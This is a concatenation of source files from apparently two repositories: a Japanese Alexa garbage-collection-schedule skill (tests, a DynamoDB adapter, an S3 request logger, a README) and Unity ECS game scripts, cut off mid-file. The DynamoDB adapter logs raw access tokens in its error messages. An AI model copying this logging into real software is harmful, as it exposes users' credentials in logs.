`<speak>このスキルではごみ出し予定の登録のためにアカウントリンクが必要です。Alexaアプリのホーム画面に表示されたアカウントリンク用カードから、設定を行ってください。</speak>`); }); it('アクセストークン有りで起動-午前中', async()=>{ const request = alexa.request().launch() .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata') .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); expect(spyGetTrashData).toHaveBeenCalled() expect(response.prompt()).toBe(`<speak>今日出せるゴミは、カン、です。</speak>`); // supportedIntarfacesが無いのでdisplayは設定されない expect(response.display()).toBeUndefined(); }); it('アクセストークン有りで起動-午後', async()=>{ jest.spyOn(Date, "now").mockReturnValue(1554292800000); // 2019-04-03(Wed) 12:00:00 UTC const request = alexa.request().launch() .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata_with_checkedNextday_false') .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); expect(spyGetTrashData).toHaveBeenCalled() expect(response.prompt()).toBe(`<speak>今日出せるゴミは、カン、です。</speak>`); // supportedIntarfacesが無いのでdisplayは設定されない expect(response.display()).toBeUndefined(); }); it('ディスプレイインターフェース有り',async()=>{ const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); const request = alexa.request().launch() .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata') .set("context.System.application.applicationId", process.env.APP_ID) .set('context.System.device.supportedInterfaces["Alexa.Presentation.APL"]', {runtime: {maxVersion: '1.7'}}); const response = await request.send(); // 中身はdisplay-creatorで検証 expect(response.directive('Alexa.Presentation.APL.RenderDocument')).toBeDefined(); }); it('ディスプレイインターフェース無し(supportedIntarfacesがDisplay)',async()=>{ const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); const request = alexa.request().launch() .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata') .set("context.System.application.applicationId", process.env.APP_ID) .set('context.System.device.supportedInterfaces.Display', {runtime: {maxVersion: '1.7'}}); const response = await request.send(); // 中身はdisplay-creatorで検証 expect(response.directive('Alexa.Presentation.APL.RenderDocument')).toBeUndefined(); }); it('定型アクションで起動-午前-nextdayflagがTrue', async()=>{ const request = alexa.request().launch() .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata') .set('request.metadata.referrer', 'amzn1.alexa-speechlet-client.SequencedSimpleIntentHandler') .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); expect(response.prompt()).toBe(`<speak>今日出せるゴミは、カン、です。</speak>`); }); it('定型アクションで起動-午後-nextdayflagがTrue', async()=>{ jest.spyOn(Date, "now").mockReturnValue(1554292800000); // 2019-04-03(Wed) 12:00:00 UTC const request = alexa.request().launch() .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata') .set('request.metadata.referrer', 'amzn1.alexa-speechlet-client.SequencedSimpleIntentHandler') .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); expect(response.prompt()).toBe(`<speak>あした出せるゴミは、もえるゴミ、です。</speak>`); }); it('定型アクションで起動-午前-nextdayflagがFalse', async()=>{ const request = alexa.request().launch() .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata_with_checkedNextday_false') .set('request.metadata.referrer', 'amzn1.alexa-speechlet-client.SequencedSimpleIntentHandler') .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); expect(response.prompt()).toBe(`<speak>今日出せるゴミは、カン、です。</speak>`); }); it('定型アクションで起動-午後-nextdayflagがFalse', async()=>{ jest.spyOn(Date, "now").mockReturnValue(1554292800000); // 2019-04-03(Wed) 12:00:00 UTC const request = alexa.request().launch() .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata_with_checkedNextday_false') .set('request.metadata.referrer', 'amzn1.alexa-speechlet-client.SequencedSimpleIntentHandler') .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); expect(response.prompt()).toBe(`<speak>今日出せるゴミは、カン、です。</speak>`); }); }); describe('GetDayFromTrashes',()=>{ let spyCalc: any let spyGetTrashData: any beforeAll(()=>{ spyCalc = jest.spyOn(client.TrashScheduleService.prototype, "calculateLocalTime").mockReturnValue(new Date(1554298037605));//2019/4/3 Wed 13h spyGetTrashData = jest.spyOn(client.TrashScheduleService.prototype, "getTrashData").mockImplementation((access_token) => { let return_value: GetTrashDataResult = { status: "error" } if (access_token === "testdata") { return_value = { status: 'success', response: [{ type: 'other', trash_val: '野菜ジュース', schedules: [{ type: 'weekday', value: '2' }] }] } } else if (access_token === "testdata2") { return_value = { status: 'success', response: [{ type: 'other', trash_val: '不燃ごみ', schedules: [{ type: 'weekday', value: '2' }] }] } } else if (access_token === "testdata3") { return_value = { status: 'success', response: [ { type: 'burn', schedules: [{ type: 'weekday', value: '3' }] }, { type: 'other', trash_val: '不燃ごみ', schedules: [{ type: 'weekday', value: '2' }] }, { type: 'other', trash_val: 'ビンとペットボトル', schedules: [{ type: 'weekday', value: '4' }] }, ] } } else if (access_token === "testdata4") { return_value = { status: 'success', response: [{ type: 'burn', schedules: [{ type: 'weekday', value: '2' }] }] } } return new Promise(resolve => { resolve(return_value) }) }) }); it('一致:登録情報がotherで発話が標準スロット外',async()=>{ const spyCompare = jest.spyOn(client.TrashScheduleService.prototype, "compareTwoText").mockReturnValue(new Promise(resolve=>resolve({match: '野菜ジュース',score:0.8}))) const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); try { const request = alexa.request().intent('GetDayFromTrashType') .set('request.locale', 'ja-JP') .set('session.user.accessToken', 'testdata') .set('request.intent.slots.TrashTypeSlot', { resolutions: { resolutionsPerAuthority: [{ status: { code: 'NO_MATCH' } }] }, value: '野菜のジュース' } ) .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); // レスポンスは一致した登録データのtrash_val expect(response.prompt()).toBe('<speak>次に野菜ジュースを出せるのは4月9日 火曜日です。</speak>'); } finally { spyCompare.mockRestore() } }); it('不一致:登録情報がotherで発話もother(スコアが低い)',async()=>{ const spyCompare = jest.spyOn(client.TrashScheduleService.prototype, "compareTwoText").mockReturnValue(new Promise(resolve=>resolve({match:'もえるごみ',score:0.1}))) const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); try { const request = alexa.request().intent('GetDayFromTrashType') .set('request.locale', 'ja-JP') .set('session.user.accessToken', 'testdata') .set('request.intent.slots.TrashTypeSlot', { resolutions: { resolutionsPerAuthority: [{ status: { code: 'NO_MATCH' } }] }, value: 'データ上には存在しないゴミ' } ) .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); // レスポンスは発話したゴミの名前 expect(response.prompt()).toBe('<speak>データ上には存在しないゴミはごみ出し予定に登録されていません。</speak>'); } finally { spyCompare.mockRestore() } }); it('一致:登録情報がotherで発話が標準スロット',async()=>{ const spyCompare = jest.spyOn(client.TrashScheduleService.prototype, "compareTwoText").mockReturnValue(new Promise(resolve=>resolve({match:'もえないゴミ',score:0.9}))) const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); try { const request = alexa.request().intent('GetDayFromTrashType') .set('request.locale', 'ja-JP') .set('session.user.accessToken', 'testdata2') .set('request.intent.slots.TrashTypeSlot', { resolutions: { resolutionsPerAuthority: [{ status: { code: 'ER_SUCCESS_MATCH' }, values: [{ value: { id: 'unburn', name: '燃えないゴミ' } }] }] }, value: '不燃ゴミ' } ) .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); // レスポンスは登録データotherのtrash_val expect(response.prompt()).toBe('<speak>次に不燃ごみを出せるのは4月9日 火曜日です。</speak>'); } finally { spyCompare.mockRestore(); } }); it('不一致:登録情報がotherで発話がスロット外(スコアが低い)',async()=>{ const spyCompare = jest.spyOn(client.TrashScheduleService.prototype, "compareTwoText").mockReturnValue(new Promise(resolve=>resolve({match: 'びん',score:0.1}))) const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); try { const request = alexa.request().intent('GetDayFromTrashType') .set('request.locale', 'ja-JP') .set('session.user.accessToken', 'testdata2') .set('request.intent.slots.TrashTypeSlot', { resolutions: { resolutionsPerAuthority: [{ status: { code: 'ER_SUCCESS_MATCH' }, values: [{ value: { id: 'can', name: 'カン' } }] }] }, value: '空き缶' } ) .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); // レスポンスは発話したゴミの名前 expect(response.prompt()).toBe('<speak>空き缶はごみ出し予定に登録されていません。</speak>'); } finally { spyCompare.mockRestore() } }); it('一致:登録情報が複数のotherで発話が標準スロット外',async()=>{ const spyCompare = jest.spyOn(client.TrashScheduleService.prototype, "compareTwoText").mockImplementation((text1,text2)=>{ const result: CompareResult = {match: "", score:0}; if(text1 === "ペットボトル" && text2 === "不燃ごみ") { result.match = "不燃ごみ"; result.score = 0.1; } else if(text1 === "ペットボトル" && text2 === "ビンとペットボトル") { result.match = "ビンとペットボトル"; result.score = 0.8; } return new Promise(resolve=>resolve(result)); }); const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); try { const request = alexa.request().intent('GetDayFromTrashType') .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata3') .set('request.intent.slots.TrashTypeSlot', { resolutions: { resolutionsPerAuthority: [{ status: { code: 'NO_MATCH' } }] }, value: 'ペットボトル' } ) .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); // レスポンスは登録データで最も一致率が高かったデータのtrash_val expect(response.prompt()).toBe('<speak>次にビンとペットボトルを出せるのは4月4日 木曜日です。</speak>'); } finally { spyCompare.mockRestore(); } }); it('一致:登録情報が複数のotherで発話が標準スロット外かつ最高スコアが0.5より大きく0.7未満',async()=>{ const spyCompare = jest.spyOn(client.TrashScheduleService.prototype, "compareTwoText").mockImplementation((text1,text2)=>{ const result: CompareResult = {match: "", score:0}; if(text1 === "もえないゴミ" && text2 === "不燃ごみ") { result.match = "不燃ごみ"; result.score = 0.6; } else if(text1 === "もえないゴミ" && text2 === "ビンとペットボトル") { result.match = "ビンとペットボトル"; result.score = 0.1; } return new Promise(resolve=>resolve(result)); }); const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); try { const request = alexa.request().intent('GetDayFromTrashType') .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata3') .set('request.intent.slots.TrashTypeSlot', { resolutions: { resolutionsPerAuthority: [{ status: { code: 'NO_MATCH' } }] }, value: 'もえないゴミ' } ) .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); // レスポンスは登録データで最も一致率が高かったデータのtrash_val、スコアが0.5より大きく0.7未満の場合は確認を入れる expect(response.prompt()).toBe('<speak>不燃ごみ ですか?次に不燃ごみを出せるのは4月9日 火曜日です。</speak>'); } finally { spyCompare.mockRestore(); } }); it('一致:登録情報がother以外で発話が標準スロット',async()=>{ const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); const request = alexa.request().intent('GetDayFromTrashType') .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata4') .set('request.intent.slots.TrashTypeSlot', { resolutions: { resolutionsPerAuthority: [{ status: { code: 'ER_SUCCESS_MATCH' }, values: [{ value: { id: 'burn', name: '燃えるゴミ' } }] }] }, value: '可燃ゴミ' } ) .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); // レスポンスは登録データのtypeにもとづく標準名称 expect(response.prompt()).toBe('<speak>次に燃えるゴミを出せるのは4月9日 火曜日です。</speak>'); }); it('一致:登録情報がother以外で発話がスロット外r',async()=>{ const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); const request = alexa.request().intent('GetDayFromTrashType') .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata4') .set('request.intent.slots.TrashTypeSlot', { resolutions: {resolutionsPerAuthority:[{status:{code: 'NO_MATCH'}}]}, value: '燃えるゴミ' } ) .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); // レスポンスは登録情報なし expect(response.prompt()).toBe('<speak>燃えるゴミはごみ出し予定に登録されていません。</speak>'); }); it('一致:登録情報がotherで発話がother',async()=>{ const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); const request = alexa.request().intent('GetDayFromTrashType') .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata3') .set('request.intent.slots.TrashTypeSlot', { resolutions: {resolutionsPerAuthority:[{status:{code: 'ER_SUCCESS_MATCH'},values:[{value: {id: 'other', name: 'その他のゴミ'}}]}]}, value: 'その他のゴミ' } ) .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); // レスポンスは登録情報なし expect(response.prompt()).toBe('<speak>次に不燃ごみを出せるのは4月9日 火曜日、ビンとペットボトルを出せるのは4月4日 木曜日です。</speak>'); }); it('APIエラー',async ()=>{ const spyCompare = jest.spyOn(client.TrashScheduleService.prototype, "compareTwoText").mockReturnValue(Promise.reject("err")); const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); try { const request = alexa.request().intent('GetDayFromTrashType') .set('request.locale', 'ja-JP') .set('session.user.accessToken', 'testdata') .set('request.intent.slots.TrashTypeSlot', { resolutions: { resolutionsPerAuthority: [{ status: { code: 'NO_MATCH' } }] }, value: '野菜ジュース' } ) .set("context.System.application.applicationId", process.env.APP_ID) process.env.MecabAPI_URL = ''; const response = await request.send(); expect(response.prompt()).toBe(`<speak>エラーが発生しました。開発者にお問合せください。</speak>`); } finally { spyCompare.mockRestore() } }) afterAll(()=>{ spyCalc.mockRestore() spyGetTrashData.mockClear() }) }); describe("GetPointDayTrashes",()=>{ let spyGetTrashData: any; beforeEach(()=>{ jest.spyOn(Date,"now").mockReturnValue(1554253200000); // 2019-04-03(Wed) 01:00:00 UTC spyGetTrashData = jest.spyOn(client.TrashScheduleService.prototype, "getTrashData").mockImplementation((access_token: string)=> {return new Promise(resolve => { resolve({ status: 'sccess', response: [ { "type": "can", "schedules": [{ "type": "weekday", "value": "3" }, { "type": "month", "value": "26" }, { "type": "none", "value": "" }] }, { "type": "burn", "schedules": [{ "type": "weekday", "value": "4" }, { "type": "month", "value": "26" }, { "type": "none", "value": "" }] }] }); })}); }); afterEach(()=>{ jest.restoreAllMocks(); }) const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); it('今日出せるゴミ-午前中', async()=>{ const request = alexa.request().intent("GetPointDayTrashes") .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata') .set("context.System.application.applicationId", process.env.APP_ID) .set("request.intent.slots.DaySlot.resolutions.resolutionsPerAuthority",[{ status: { code: "ER_SUCCESS_MATCH" }, values: [ { value: { id: 0 } } ] }]) const response = await request.send(); expect(spyGetTrashData).toHaveBeenCalled() expect(response.prompt()).toBe(`<speak>今日出せるゴミは、カン、です。</speak>`); // supportedIntarfacesが無いのでdisplayは設定されない expect(response.display()).toBeUndefined(); }); it('今日出せるゴミ-午後', async()=>{ jest.spyOn(Date, "now").mockReturnValue(1554292800000); // 2019-04-03(Wed) 12:00:00 UTC const request = alexa.request().intent("GetPointDayTrashes") .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata') .set("context.System.application.applicationId", process.env.APP_ID) .set("request.intent.slots.DaySlot.resolutions.resolutionsPerAuthority",[{ status: { code: "ER_SUCCESS_MATCH" }, values: [ { value: { id: 0 } } ] }]) const response = await request.send(); expect(spyGetTrashData).toHaveBeenCalled() expect(response.prompt()).toBe(`<speak>今日出せるゴミは、カン、です。</speak>`); // supportedIntarfacesが無いのでdisplayは設定されない expect(response.display()).toBeUndefined(); }); it('あした出せるゴミ-午前中', async()=>{ const request = alexa.request().intent("GetPointDayTrashes") .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata') .set("context.System.application.applicationId", process.env.APP_ID) .set("request.intent.slots.DaySlot.resolutions.resolutionsPerAuthority",[{ status: { code: "ER_SUCCESS_MATCH" }, values: [ { value: { id: 1 } } ] }]) const response = await request.send(); expect(spyGetTrashData).toHaveBeenCalled() expect(response.prompt()).toBe(`<speak>あした出せるゴミは、もえるゴミ、です。</speak>`); // supportedIntarfacesが無いのでdisplayは設定されない expect(response.display()).toBeUndefined(); }); it('あした出せるゴミ-午後', async()=>{ jest.spyOn(Date, "now").mockReturnValue(1554292800000); // 2019-04-03(Wed) 12:00:00 UTC const request = alexa.request().intent("GetPointDayTrashes") .set('request.locale', 'ja-JP') .set('session.user.accessToken','testdata') .set("context.System.application.applicationId", process.env.APP_ID) .set("request.intent.slots.DaySlot.resolutions.resolutionsPerAuthority",[{ status: { code: "ER_SUCCESS_MATCH" }, values: [ { value: { id: 1 } } ] }]) const response = await request.send(); expect(spyGetTrashData).toHaveBeenCalled() expect(response.prompt()).toBe(`<speak>あした出せるゴミは、もえるゴミ、です。</speak>`); // supportedIntarfacesが無いのでdisplayは設定されない expect(response.display()).toBeUndefined(); }); })<file_sep>const index = require('../index'); const assert = require('assert'); describe('scan_all_data',()=>{ it('scan_all_data',async()=>{ try { const scan_list = await index.scan_data_contains_other(); assert(scan_list.length > 0); } catch(err) { assert(false,'reject invoke') ; } }) })<file_sep>import { AWSOptions } from 'request'; import {client, TrashData, TrashSchedule} from 'trash-common' import {DynamoDB} from 'aws-sdk' const dynamoClient: DynamoDB.DocumentClient = new DynamoDB.DocumentClient({region: process.env.APP_REGION}); import crypto = require("crypto") export class DynamoDBAdapter implements client.DBAdapter{ getUserIDByAccessToken(access_token: string): Promise<string> { const hashkey = crypto.createHash("sha512").update(access_token).digest("hex") return dynamoClient.get({ TableName: "throwtrash-backend-accesstoken", Key: { access_token: hashkey } }).promise().then((data: DynamoDB.DocumentClient.GetItemOutput)=>{ if(data.Item) { const currentTime = Math.ceil(Date.now() / 1000); if(data.Item.expires_in > currentTime) { return data.Item.user_id } else { console.error(`AccessToken is expired -> accesstoken=${access_token},expire=${data.Item.expires_in}`); } } console.error(`AccessToken is not found -> accesstoken=${access_token}`) // IDが見つからない場合はブランクを返す return ""; }).catch((err:Error)=>{ console.error(err); throw new Error("Failed getUserIDByAccessToken"); }) } getTrashSchedule(user_id: string): Promise<TrashSchedule> { const params = { TableName: 'TrashSchedule', Key: { id: user_id } }; return dynamoClient.get(params).promise().then((data: DynamoDB.DocumentClient.GetItemOutput) => { if (data.Item) { const checkedNextday = typeof(data.Item.nextdayflag) != "undefined" ? data.Item.nextdayflag : true; return { trashData: JSON.parse(data.Item.description), checkedNextday: checkedNextday } } console.error(`User Not Found(AccessToken: ${user_id})`); return { trashData: [], checkedNextday: false } }).catch((err: Error) => { console.error(err) throw new Error("Failed GetTrashSchedule") }) } }<file_sep>import { RequestLogger } from "./request-logger"; import { S3Client,PutObjectCommand,PutObjectCommandInput,PutObjectCommandOutput } from "@aws-sdk/client-s3"; import { RequestEnvelope } from 'ask-sdk-model'; export class S3RequestLogger implements RequestLogger { client: S3Client | undefined; region: string = "us-east-1"; constructor(region: string) { this.region = region; this.client = new S3Client({region: region}); return this; } logRequest(request: RequestEnvelope, prefix: string): void { if(this.client) { this.client.send(new PutObjectCommand({ Bucket: `throwtrash-skill-request-logs-${this.region}`, Key: `request/${request.request.requestId}`, Body: JSON.stringify(request) })).then(_=>{}).catch(error=>{console.error(error)}); } } logErrorRequest(request: RequestEnvelope, prefix: string): void { if(this.client) { this.client.send(new PutObjectCommand({ Bucket: `throwtrash-skill-request-logs-${this.region}`, Key: `error/${prefix}/${request.request.requestId}`, Body: JSON.stringify(request) })).then(_=>{}).catch(error=>{console.error(error)}); } } } <file_sep>import {DisplayCreator} from "../display-creator" const displayCreator = new DisplayCreator("ja-JP") import * as _ from "lodash" const templateDocument = require("../resource/display/apl_template_export.json") const templateDataSources = require("../resource/display/datasources.json") describe("getThrowTrashesDirective",()=>{ it("single schedule",()=>{ const displayDataItem = [{ data: [ { type: "burn", name: "燃えるごみ" } ], date: new Date(2020,9,5) //2020/10/05 }] const resultDirective = displayCreator.getThrowTrashesDirective(0,displayDataItem) const expectDocument = _.cloneDeep(templateDocument) const expectDataSources = _.cloneDeep(templateDataSources) expectDataSources.dataSources.listTemplate2Metadata.title = "3日間のごみ出し予定" expectDataSources.dataSources.listTemplate2ListData.listPage.listItems = [ { "listItemIdentifier": new String(displayDataItem[0].date), "textContent": { "primaryText": { "type": "PlainText", "text": "2020/10/05(月曜日)" }, "secondaryText": { "type": "PlainText", "text": "燃えるごみ" }, "tertiaryText": { "type": "PlainText", "text": "" } }, "image": { "contentDescription": null, "smallSourceUrl": null, "largeSourceUrl": null, "sources": [{ url: "https://s3-ap-northeast-1.amazonaws.com/myskill-image/throwtrash/ja-JP/burn.png", size: "small", widthPixels: 0, heightPixels: 0 }] }, "token": "0" } ] const expectDirective = { type: "Alexa.Presentation.APL.RenderDocument", document: expectDocument.document, datasources: expectDataSources.dataSources } expect(JSON.stringify(resultDirective)).toBe(JSON.stringify(expectDirective)) }); it("multi schedule",()=>{ const displayDataItem = [ { data: [ { type: "burn", name: "燃えるごみ" }, ], date: new Date(2020, 9, 5) //2020/10/05 }, { data: [{ type: "plastic", name: "プラスチック" }, { type: "other", name: "生ゴミ" }], date: new Date(2020,9,6) }, { data: [], date: new Date(2020,9,7) } ] const resultDirective = displayCreator.getThrowTrashesDirective(0,displayDataItem) const expectDocument = _.cloneDeep(templateDocument) const expectDataSources = _.cloneDeep(templateDataSources) expectDataSources.dataSources.listTemplate2Metadata.title = "3日間のごみ出し予定" expectDataSources.dataSources.listTemplate2ListData.listPage.listItems = [ { "listItemIdentifier": new String(displayDataItem[0].date), "textContent": { "primaryText": { "type": "PlainText", "text": "2020/10/05(月曜日)" }, "secondaryText": { "type": "PlainText", "text": "燃えるごみ" }, "tertiaryText": { "type": "PlainText", "text": "" } }, "image": { "contentDescription": null, "smallSourceUrl": null, "largeSourceUrl": null, "sources": [ { url: "https://s3-ap-northeast-1.amazonaws.com/myskill-image/throwtrash/ja-JP/burn.png", size: "small", widthPixels: 0, heightPixels: 0 } ] }, "token": "0" }, { "listItemIdentifier": new String(displayDataItem[1].date), "textContent": { "primaryText": { "type": "PlainText", "text": "2020/10/06(火曜日)" }, "secondaryText": { "type": "PlainText", "text": "プラスチック/生ゴミ" }, "tertiaryText": { "type": "PlainText", "text": "" } }, "image": { "contentDescription": null, "smallSourceUrl": null, "largeSourceUrl": null, "sources": [ { url: "https://s3-ap-northeast-1.amazonaws.com/myskill-image/throwtrash/ja-JP/plastic.png", size: "small", widthPixels: 0, heightPixels: 0 }, { url: "https://s3-ap-northeast-1.amazonaws.com/myskill-image/throwtrash/ja-JP/other.png", size: "small", widthPixels: 0, heightPixels: 0 } ] }, "token": "0" }, { "listItemIdentifier": new String(displayDataItem[2].date), "textContent": { "primaryText": { "type": "PlainText", "text": "2020/10/07(水曜日)" }, "secondaryText": { "type": "PlainText", "text": "なし" }, "tertiaryText": { "type": "PlainText", "text": "" } }, "image": { "contentDescription": null, "smallSourceUrl": null, "largeSourceUrl": null, "sources": [] }, "token": "0" } ] const expectDirective = { type: "Alexa.Presentation.APL.RenderDocument", document: expectDocument.document, datasources: expectDataSources.dataSources } expect(JSON.stringify(resultDirective)).toBe(JSON.stringify(expectDirective)) }) }) describe("getShowScheduleDirective",()=>{ it("single registered data",()=>{ const trashData = [ { type: "burn", typeText: "燃えるごみ", schedules: ["10月5日"] } ] const resultDirective = displayCreator.getShowScheduleDirective(trashData) const expectDocument = _.cloneDeep(templateDocument) const expectDataSources = _.cloneDeep(templateDataSources) expectDataSources.dataSources.listTemplate2Metadata.title = "登録されているゴミ出し予定" expectDataSources.dataSources.listTemplate2ListData.totalNumberOfItems = 1 expectDataSources.dataSources.listTemplate2ListData.listPage.listItems = [ { "listItemIdentifier": "burn", "textContent": { "primaryText": { "type": "PlainText", "text": "燃えるごみ" }, "secondaryText": { "type": "PlainText", "text": "10月5日" }, "tertiaryText": { "type": "PlainText", "text": "" } }, "image": { "contentDescription": null, "smallSourceUrl": null, "largeSourceUrl": null, "sources": [{ url: "https://s3-ap-northeast-1.amazonaws.com/myskill-image/throwtrash/ja-JP/burn.png", size: "small", widthPixels: 0, heightPixels: 0 }] }, "token": "burn" } ] const expectDirective = { type: "Alexa.Presentation.APL.RenderDocument", document: expectDocument.document, datasources: expectDataSources.dataSources } expect(JSON.stringify(resultDirective)).toBe(JSON.stringify(expectDirective)) }) })<file_sep># my-trash-skill Alexaスキル『[今日のゴミ出し](https://www.amazon.co.jp/quo1987-%E4%BB%8A%E6%97%A5%E3%81%AE%E3%82%B4%E3%83%9F%E5%87%BA%E3%81%97/dp/B07BHTKYDQ)』のスキルプログラム。 [内部で利用している単語比較APIはこちら](https://github.com/quotto/MecabApi) [サーバーサイドはこちら](https://github.com/quotto/ThrowTrashesWithAlexa)
c7be83a09a2dbf4a887eb006f8a7a1dfc720e560
[ "JavaScript", "TypeScript", "Markdown" ]
9
TypeScript
quotto/my-trash-skill
1673d04bc8737e135adc94cc6f4e825dc0d51532
054e8c536826284cdaf20ad29e17b9b4b76200fd
refs/heads/master
<repo_name>Saber20/ttt-7-valid-move-re-coded-000<file_sep>/lib/valid_move.rb def valid_move?(board, position) if position.to_i.between?(1, 9) && ! position_taken?(board, position.to_i-1) return true else false end end def position_taken?(board, index) if board[index]==" " ||board[index]=="" ||board[index]== nil return false elsif board[index]=="X" || board[index]=="O" return true end end
c30f72456dc0c5daf27477fa12be4305bbd201ec
[ "Ruby" ]
1
Ruby
Saber20/ttt-7-valid-move-re-coded-000
1d4d0b57dadb09ff2916ec9999e22f1586b03bd6
538395111386f78772dfd6db89924f29ee112be7
refs/heads/master
<repo_name>leVermito/TheDuck<file_sep>/Assets/Scripts/Components/ProjectileData.cs using Unity.Entities; [GenerateAuthoringComponent] public struct ProjectileData : IComponentData { public float speed; } <file_sep>/Assets/Scripts/Systems/MoveBulletSystem.cs using Unity.Entities; using Unity.Mathematics; using Unity.Transforms; using Unity.Jobs; using Unity.Collections; public class MoveProjectileSystem : JobComponentSystem { protected override JobHandle OnUpdate(JobHandle inputDeps) { float deltaTime = Time.DeltaTime; var jobHandle = Entities.WithName("MoveProjectileSystem").ForEach((ref Translation position, ref Rotation rotation, ref ProjectileData projectileData) => { position.Value += deltaTime * projectileData.speed * math.forward(rotation.Value); }).Schedule(inputDeps); jobHandle.Complete(); return jobHandle; } } <file_sep>/Assets/Scripts/Systems/CivilianShipsSystem.cs using Unity.Entities; using Unity.Mathematics; using Unity.Transforms; using Unity.Jobs; using Unity.Collections; [UpdateAfter(typeof(MoveProjectileSystem))] public class CivilianShipsSystem : JobComponentSystem { protected override JobHandle OnUpdate(JobHandle inputDeps) { float deltaTime = Time.DeltaTime; NativeArray<float3> waypoints = new NativeArray<float3>(GameDataManager.instance.waypoints, Allocator.TempJob); var jobHandle = Entities.WithName("CivilianShipsSystem").ForEach((ref Translation position, ref Rotation rotation, ref CivilianShipData civilianShipData) => { float3 destination = waypoints[civilianShipData.currentWaypoint]; float distance = math.distance(position.Value, destination); float3 headingVector = destination - position.Value; if (distance > civilianShipData.followDistance) { quaternion targetDirection = quaternion.LookRotation(headingVector, math.up()); rotation.Value = math.slerp(rotation.Value, targetDirection, deltaTime * 5.0f); position.Value += deltaTime * civilianShipData.speed * math.forward(rotation.Value); } else { civilianShipData.currentWaypoint = (civilianShipData.currentWaypoint + 1) % waypoints.Length; } }).Schedule(inputDeps); jobHandle.Complete(); waypoints.Dispose(); Entities.WithoutBurst().WithStructuralChanges().ForEach((Entity entity, ref Translation position, ref Rotation rotation, ref CivilianShipData civilianShipData, ref LifeTimeData lifeTimeData ) => { if (!lifeTimeData.alive) { var explosionEntity = EntityManager.Instantiate(civilianShipData.explosionPrefabEntity); EntityManager.SetComponentData(explosionEntity, new Translation { Value = position.Value }); EntityManager.SetComponentData(explosionEntity, new Rotation { Value = rotation.Value }); EntityManager.AddComponentData(explosionEntity, new LifeTimeData { alive = true, lifeLeft = 2.0f, infiniteLifetime = false, }); } }).Run(); return jobHandle; } } <file_sep>/Assets/Scripts/Utils.cs using UnityEngine; using Unity.Mathematics; public static class Utils { public static class Rotation { public static quaternion Forward(quaternion rotation) { return rotation; } public static quaternion Backward(quaternion rotation) { return math.mul(rotation, quaternion.Euler(0, math.radians(-180), 0)); } public static quaternion Left (quaternion rotation) { return math.mul(rotation, quaternion.Euler(0, math.radians(-90), 0)); } public static quaternion Right (quaternion rotation) { return math.mul(rotation, quaternion.Euler(0, math.radians(90), 0)); } public static quaternion Up (quaternion rotation) { return math.mul(rotation, quaternion.Euler(math.radians(-90), 0, 0)); } public static quaternion Down (quaternion rotation) { return math.mul(rotation, quaternion.Euler(math.radians(90), 0, 0)); } } public static class Vector { public static float3 Forward(quaternion rotation) { return math.forward(Utils.Rotation.Forward(rotation)); } public static float3 Backward(quaternion rotation) { return math.forward(Utils.Rotation.Backward(rotation)); } public static float3 Left (quaternion rotation) { return math.forward(Utils.Rotation.Left(rotation)); } public static float3 Right (quaternion rotation) { return math.forward(Utils.Rotation.Right(rotation)); } public static float3 Up (quaternion rotation) { return math.forward(Utils.Rotation.Up(rotation)); } public static float3 Down (quaternion rotation) { return math.forward(Utils.Rotation.Down(rotation)); } } }<file_sep>/Assets/Scripts/Components/PlayerData.cs using Unity.Entities; using UnityEngine.VFX; [GenerateAuthoringComponent] public struct PlayerData : IComponentData { // PlayerShip speed / thrust public float forwardThrust; public float backwardThrust; public float sideThrust; public float pitchThrust; public bool dampener; // Fire Stuff public float reloadTime; public float 